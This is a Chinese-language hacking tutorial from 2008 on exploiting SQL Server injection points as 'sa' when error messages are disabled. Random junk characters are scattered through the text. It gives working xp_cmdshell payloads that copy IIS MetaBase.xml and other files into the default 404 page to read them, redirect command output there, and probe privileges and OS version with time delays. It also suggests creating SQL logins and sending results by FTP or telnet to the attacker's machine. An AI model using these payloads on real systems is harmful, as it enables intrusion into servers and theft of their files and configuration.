遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。7 J. W/ c1 W. u* h" a2 i" q% L+ w, H
/ k; }8 a) g, e% L& f 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。& I" v8 x9 Y- D* {5 a1 K
{1 ]% \0 \+ J- P) C5 a 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
+ S/ T" Z* w0 s% r1 s8 ^( J/ g- n! c* d5 L4 u* W, P) P, S
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
" U1 c4 w3 e' R) J4 Y2 N6 i/ r& `/ F; G$ y: S$ [! Q7 x( Z. o
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--; B6 M* a T0 `+ e! j! D z
t8 n! D6 E1 B1 _2 Q: Y# X
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。( f" ~- B* H- k
; ?9 a2 f% U, `" @ j# P1 W, l
执行命令得到回显# k! |* o4 G2 F. d
# m6 Y* P9 i1 t7 N 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--; D/ t6 n5 }" O+ n
$ E% P4 @. e7 S 得到文件也shi相同,把文件copy到404b.htm就行了, q* N1 q/ w7 Y3 }& z2 t" f
% l5 u" s2 ?8 w" O4 H2 P1 N by 28ice, 2008/6/26# I/ |& z2 s3 a9 G+ G, T
! n5 n, a" ? \, K 摘自 28度的冰! |* {% O% D C) M/ {: l+ _0 l& c/ A2 [
: D7 s" K: v: H& S% ]5 H 盲注判断权限和操作系统版本& W5 ^) t3 G1 e9 D1 e
" w6 g& V. b0 G+ _% U H
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?9 \5 M" {7 `) y z/ ^
! o* O- A7 _, r5 Y 最简单的,可能以用这样的方法:& c9 K' i" o; [! ? T: a9 l
+ O$ H. i4 p9 x2 b9 W% S& M) U* x 1=(select IS_SRVROLEMEMBER(’sysadmin’))
~8 N2 M8 f# b3 |) h# D& W5 o
9 D! }3 W+ }- V3 k* R g9 B 当然,有些情况下,这个方法并不奏效。/ {4 W+ C! }; A( H' {( t) `
3 @, G/ G$ i& X; H
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。0 _. N* q& ]9 d' @& P
6 l; }7 T5 t3 t d+ V- z! H) B: P7 U8 x
有个3办法可能以解决这个问题
* z. O5 T0 ]4 B' u/ J, `" M ]) b
( x# `. Y$ U% w$ E a.把执行结果写到404b.htm,具体请看我的上一篇文章
9 f% W9 ]; _) T( b0 ^ N% r& l/ u3 f( O: `, s
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
d3 L1 A o: A; h% _( S5 y! e8 y1 {$ Q, q' C
c.如果1433端口可能以连接,那干脆新建个sql登录
6 d8 y9 M C" J: t# l' B1 E0 p
- G& k% v8 ?* m d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数7 M* ^$ Y3 A K
$ X0 ?. L* H+ G1 A, b 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
* b, N2 c3 m3 `# p9 `
7 s, \1 T8 }7 Y- _& L 很简单
( Y/ T% J* D8 R" J5 s$ R1 N1 ` }0 l* d+ q* J
执行systeminfo
; j& a. T7 s1 I, A3 V
$ R0 H. p V9 y, r/ P3 u b* Z 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |